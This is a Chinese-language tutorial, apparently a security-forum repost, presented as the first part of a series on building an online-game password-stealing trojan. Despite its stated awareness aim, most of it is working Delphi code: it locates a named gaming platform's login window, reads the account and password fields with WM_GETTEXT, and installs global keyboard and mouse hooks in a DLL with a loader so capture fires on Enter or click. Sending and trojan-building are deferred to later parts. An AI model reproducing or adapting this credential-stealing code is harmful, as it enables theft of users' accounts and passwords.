解密网游木马开发全记录 ------WM_GETTEXT篇
5ecurity团队(5ecurity.cn)成员 晓虎(xiaohu@5ecurity.cn)原创发布
网络虚拟财产的安全越来越受到广大网民的关注,而黑客经常使用非法手段获取网游账号及密码进行非法盈利。为了揭露网游盗号的基本原理,我将给大家演示黑客是如何通过编程实现密码的截取与发送。也希望广大网民提高安全意识,免受盗号危害。
首先通过分析可知,一个完整的木马产品包括如下几个功能:
1、密码截取
2、密码发送
3、木马生成
针对如上功能我们来逐一揭示如何用编程来实现。我这里就使用Delphi还实现各种功能,使用VC编程原理也一样,大家可以自己实践。
首先是密码的截取,密码截取的方法有很多,常见的比如:
1、发送WM_GETTEXT消息
2、键盘击键记录
3、内存读取
4、封包截获等
有针对性的比如:鼠标点击截图、窗体伪造钓鱼等。
本系列教程主要讲解WM_GETTEXT消息、键盘击键记录、内存读取密码以及封包截获的基本原理及实现。这些方法是比较常见也是危害比较广泛的。分析上述各种方法,WM_GETTEXT消息的方法主要适用于对WINDOWS标准控件的密码截取;键盘击键记录则是针对键盘敲击的记录,适合固定键盘输入的情况;内存读取密码则应用比较广泛,适合大多数密码截取的情况,并且在外挂技术中也经常用到;封包截获则应用不是很广泛主要是因为截获的封包可能是加密过的,需要对加密机制进行解密才能获得密码。
今天为我们以XX电竞平台为例给大家演示发送WM_GETTEXT消息密码截取的全部过程。在以后的章节里将逐一讲解其他密码截取方法和密码发送及木马生成技术。
一、窗口分析
首先分析XX电竞平台的登陆窗体。使用Spy++对窗体进行分析以获得我们所需要的控件信息。
如上图,首先可以得到主窗口类名是:#32770 (对话框),窗口标题是:XX电竞平台。然后再查看账号和密码输入框的信息。
账号输入框的类名是:ComboBox。记录下来这个信息,在截取密码的时候会用到。
密码输入框的类名是:Edit。我们可以看到XX电竞平台登陆窗口的控件均是windows标准控件。因此采用发送WM_GETTEXT消息的方法是最简单的。
将所获得信息总结如下:
主窗口类名:#32770 (对话框)
主窗口标题:XX电竞平台
账号输入框的类名:ComboBox
密码输入框的类名:Edit
二、编程实现
首先实现帐户密码截取功能。为了便于测试,我们将截取的密码打印在屏幕左上角。功能代码如下:
procedure GetPassWord;
var
buffer:array[0..50] of char;
Window,Number,PassWord:Longint;
V:string;
DC:HDC;
begin
V:='';
//当前激活窗体 获得当前窗口句柄
Window:=GetForegroundWindow;
//约束条件 判断主窗口标题是否为“XX电竞平台”
if FindWindow('#32770','XX电竞平台')=0 then exit;
//取号码和密码句柄
Number:=FindWindowEx(Window,0,'ComboBox',nil);
if Number=0 then exit;
PassWord:=FindWindowEx(Window,0,'Edit',nil);
if PassWord=0 then exit;
//取内容
SendMessage(Number, $000D, 50, Integer(@buffer));
V:='number:'+ string(buffer);
SendMessage(PassWord, $000D, 50, Integer(@buffer));
V:=V+' password:'+ string(buffer);
//写到屏幕上
DC:=GetDC(0);
TextOut(DC,100,100,Pchar(V),Length(V));
ReleaseDC(0,DC);
end;
可以看出截取信息的代码十分简单,其原理就是使用SendMessage函数向子窗口发送WM_GETTEXT消息,$000D就是WM_GETTEXT的消息码。然后将消息返回的信息存放到buffer中,最后将其打印出来。
但是在什么时候进行密码截取呢?如果过早截取则可能用户还没有输入信息或输入的信息不全。如果截取晚了则可能登陆窗口已经不存在了,这都会导致我们无法截获到账号和密码。因此我们使用HOOK技术来实现对鼠标和键盘的监听,也就是说在鼠标点击和键盘敲回车时才进行截取。
首先声明键盘和鼠标钩子:
var
KeyHook,MouseHook:HHook;
然后创建钩子回调函数。实现对监控键盘按回车和鼠标左击事件的监控。如果事件发生则马上进行密码截取。
//键盘钩子回调函数
function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin {回车} {键盘按键按下消息}
if (wParam=13) and(((LParam shr 31)and 1)=0) then GetPassWord;
Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);
end;
//鼠标钩子回调函数
function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
begin {鼠标左键按下消息}
if wparam=$0201 then GetPassWord;
Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
end;
回调函数写好后,就要些钩子挂起函数和钩子解除函数了,代码如下:
//挂钩
procedure HookOn;
begin
KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
MouseHook:=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);
end;
解除钩子函数如下:
//脱钩
procedure HookOff;
begin
UnHookWindowsHookEx(KeyHook);
UnHookWindowsHookEx(MouseHook);
end;
有了上述代码就可以实现账号和密码的完美截取了。将上除代码编译成DLL文件。别忘了导出HookOn、HookOff两个函数以方便后面调用。
//导出函数
exports
HookOn,HookOff;
编译成功后,钩子DLL就制作成功了。下面只要用一个程序来调用钩子DLL就好了。这就简单多了,代码如下:
program Main;
uses windows;
var Msg : tMsg;
procedure HookOn ; stdcall; external 'hfhook.dll';
procedure HookOff ; stdcall; external 'hfhook.dll';
//主程序
begin
HookOn;
while GetMessage(Msg, 0, 0, 0) do ;
HookOff;
end.
上除代码就是调用钩子dll中的两个导出函数,并在循环获取消息。编译好CallHook.exe和hfhook.dll后将两文件放到同一个文件夹下,运行测试一下,检验一下我们的劳动成果。
先运行CallHook.exe,然后运行XX电竞平台客户端进行登陆。在点击登陆或按回车后会在桌面的左上角打印出帐户和密码。演示如下:
代码运行比较成功,本次教程基本已经完成了密码的截取,如有不够完美的地方大家可以自己完善。下次将给大家介绍键盘记录截取密码的原理及实现方法。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2018-3-4 12:16
被cnsecurity编辑
,原因: